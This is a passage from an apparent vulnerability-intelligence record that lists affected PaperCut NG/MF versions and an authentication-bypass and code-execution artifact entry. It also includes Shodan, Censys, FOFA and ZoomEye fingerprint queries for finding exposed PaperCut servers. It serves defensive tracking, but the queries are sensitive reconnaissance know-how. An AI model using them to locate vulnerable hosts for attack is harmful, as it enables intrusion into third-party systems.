\cpe:2.3:a:papercut:papercut_mf:17.4.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:17.4.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:17.4.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:17.4.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:17.4.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:18.0.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:18.0.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:18.0.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:18.0.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:18.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:18.1.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:18.1.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:18.1.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:18.1.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:18.2.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:18.2.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:18.2.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:18.2.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:18.2.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:18.2.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:18.2.6:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:18.3.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:18.3.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:18.3.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:18.3.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:18.3.6:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:18.3.7:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:18.3.8:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:18.3.9:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:19.0.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:19.0.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:19.0.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:19.0.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:19.0.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:19.0.6:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:19.0.7:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:19.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:19.1.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:19.1.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:19.1.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:19.1.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:19.1.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:19.1.6:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:19.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:19.2.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:19.2.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:19.2.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:19.2.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:19.2.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:19.2.6:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:19.2.7:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:19.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:20.0.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:20.0.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:20.0.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:20.0.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:20.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:20.1.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:20.1.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:20.1.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:20.1.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:20.1.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:20.1.6:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:20.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:21.0.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:21.0.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:21.0.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:21.0.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:21.0.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:21.1.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:21.1.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:21.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:21.2.10:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:21.2.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:21.2.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:21.2.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:21.2.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:21.2.6:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:21.2.7:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:21.2.8:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:21.2.9:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:21.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:22.0.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:22.0.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:22.0.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:22.0.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:22.0.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:22.0.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:22.0.6:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:22.0.7:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:22.0.8:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:8.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:8.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:8.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:8.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:8.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:9.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:9.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:9.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:9.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:9.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:9.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:9.6:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:9.7:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_mf:9.8:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:10.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:10.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:10.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:10.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:10.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:10.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:10.6:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:10.7:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:11.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:11.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:11.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:11.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:11.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:11.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:11.6:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:12.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:12.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:12.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:12.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:12.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:12.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:13.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:13.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:13.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:13.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:13.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:13.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:14.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:14.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:14.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:14.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:15.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:15.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:15.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:15.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:16.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:16.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:16.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:16.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:16.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:17.0.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:17.0.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:17.0.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:17.0.6:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:17.0.7:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:17.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:17.1.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:17.1.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:17.1.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:17.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:17.2.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:17.2.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:17.2.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:17.2.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:17.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:17.3.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:17.3.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:17.3.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:17.3.6:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:17.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:17.4.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:17.4.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:17.4.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:17.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:18.0.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:18.0.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:18.0.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:18.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:18.1.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:18.1.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:18.1.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:18.1.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:18.2.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:18.2.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:18.2.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:18.2.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:18.2.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:18.2.6:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:18.3.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:18.3.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:18.3.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:18.3.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:18.3.6:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:18.3.7:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:18.3.8:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:18.3.9:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:19.0.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:19.0.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:19.0.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:19.0.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:19.0.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:19.0.6:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:19.0.7:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:19.1.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:19.1.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:19.1.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:19.1.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:19.1.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:19.1.6:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:19.2.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:19.2.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:19.2.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:19.2.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:19.2.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:19.2.6:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:19.2.7:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:20.0.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:20.0.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:20.0.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:20.0.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:20.1.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:20.1.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:20.1.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:20.1.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:20.1.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:20.1.6:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:21.0.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:21.0.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:21.0.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:21.0.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:21.0.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:21.1.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:21.1.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:21.2.10:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:21.2.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:21.2.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:21.2.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:21.2.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:21.2.6:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:21.2.7:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:21.2.8:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:21.2.9:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:22.0.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:22.0.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:22.0.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:22.0.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:22.0.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:22.0.6:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:22.0.8:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:8.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:8.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:8.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:8.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:8.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:9.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:9.1:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:9.2:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:9.3:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:9.4:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:9.5:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:9.6:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:9.7:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:papercut:papercut_ng:9.8:*:*:*:*:*:*:*\\n      ,\n      \artifacts\: \n        {\n          \vendor\: \PaperCut\,\n          \targetEncryptedComms\: \either\,\n          \mitreAttackTechniques\: \n            \T1190\\n          ,\n          \product\: \n            \PaperCut NG\,\n            \PaperCut MF\\n          ,\n          \dateAdded\: \2023-04-24T00:00:00Z\,\n          \artifactName\: \PaperCut NG/MF Authentication Bypass and Code Execution\,\n          \exploit\: true,\n          \versionScanner\: true,\n          \pcap\: true,\n          \suricataRule\: true,\n          \snortRule\: true,\n          \yara\: false,\n          \nmapScript\: false,\n          \zeroday\: false,\n          \targetService\: \HTTP\,\n          \targetDocker\: false,\n          \googleQueries\: \n            \https://www.google.com/search?qintitle%3A%22PaperCut+Login%22\\n          ,\n          \googleRawQueries\: \n            \intitle:\\\PaperCut Login\\\\\n          ,\n          \baiduQueries\: \n            \n          ,\n          \baiduRawQueries\: \n            \n          ,\n          \shodanQueries\: \n            \https://www.shodan.io/search?queryhtml%3A%22is+a+print+management+system.+Log+in+to+manage+your+print+quotas%22+%2BJSESSIONID+%2Bhttp.favicon.hash%3A-1142586156\\n          ,\n          \censysQueries\: \n            \https://search.censys.io/search?resourcehosts&sortRELEVANCE&per_page25&virtual_hostsINCLUDE&qsame_service%28services.http.response.body%3A%22is+a+print+management+system.+Log+in+to+manage+your+print+quotas%22+and+services.http.response.favicons.md5_hash%3D%224764ad78b4c0d93bc48d4d0df3b36c7e%22%29\\n          ,\n          \greynoiseQueries\: \n            \https://viz.greynoise.io/tag/papercut-authentication-bypass-check\,\n            \https://viz.greynoise.io/tag/papercut-rce-attempt\\n          ,\n          \fofaQueries\: \n            \https://en.fofa.info/result?qbase64Ym9keT0iaXMgYSBwcmludCBtYW5hZ2VtZW50IHN5c3RlbS4gTG9nIGluIHRvIG1hbmFnZSB5b3VyIHByaW50IHF1b3RhcyIgJiYgaGVhZGVyPSJKU0VTU0lPTklEIiAmJiBpY29uX2hhc2g9Ii0xMTQyNTg2MTU2Ig%3D%3D\\n          ,\n          \fofaRawQueries\: \n            \body\\\is a print management system. Log in to manage your print quotas\\\ && header\\\JSESSIONID\\\ && icon_hash\\\-1142586156\\\\\n          ,\n          \zoomEyeQueries\: \n            \https://www.zoomeye.ai/searchResult?qaHR0cC5ib2R5PSJpcyBhIHByaW50IG1hbmFnZW1lbnQgc3lzdGVtLiBMb2cgaW4gdG8gbWFuYWdlIHlvdXIgcHJpbnQgcXVvdGFzIiAmJiBodHRwLmhlYWRlcj0iSlNFU1NJT05JRCIgJiYgaWNvbmhhc2g9Ii0xMTQyNTg2MTU2Ig%3D%3D\\n          ,\n          \zoomEyeRawQueries\: \n            \http.body\\\is a print management system. Log in to manage your print quotas\\\ && http.header\\\JSESSIONID\\\ && iconhash\\\-1142586156\\\\\n          ,\n          \shodanRawQueries\: \n            \html:\\\is a print management system. Log in to manage your print quotas\\\ +JSESSIONID +http.favicon.hash:-1142586156\\n          ,\n          \censysRawQueries\: \n            \same_service(services.http.response.body:\\\is a print management system. Log in to manage your print quotas\\\ and services.http.response.favicons.md5_hash\\\4764ad78b4c0d93bc48d4d0df3b36c7e\\\)\\n          ,\n          \cloneSSHURL\: \git@git.vulncheck.com:vulncheck/initial-access.git\\n        }\n      ,\n      \_timestamp\: \2025-02-04T20:22:17.598643Z\\n    }\n  \n} html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .sHdIc, html code.shiki .sHdIc{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#EEFFFF;--shiki-default-font-style:italic;--shiki-dark:#BABED8;--shiki-dark-font-style:italic}html pre.shiki code .sHwdD, html code.shiki .sHwdD{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#546E7A;--shiki-default-font-style:italic;--shiki-dark:#676E95;--shiki-dark-font-style:italic},{id:120,title:119,titles:1072,content:1073,level:528},,To download the latest available detection artifacts, VulnCheck Initial Access Intelligence detection artifacts are available via git, backup file, and API. VulnCheck Initial Access Intelligence provides in-house developed exploit PoCs, packet captures, and Suricata signatures to defend against initial access vulnerabilities. VulnCheck tracks initial access vulnerabilities, remote code execution vulnerabilities that do not require authentication, and authors detection artifacts to 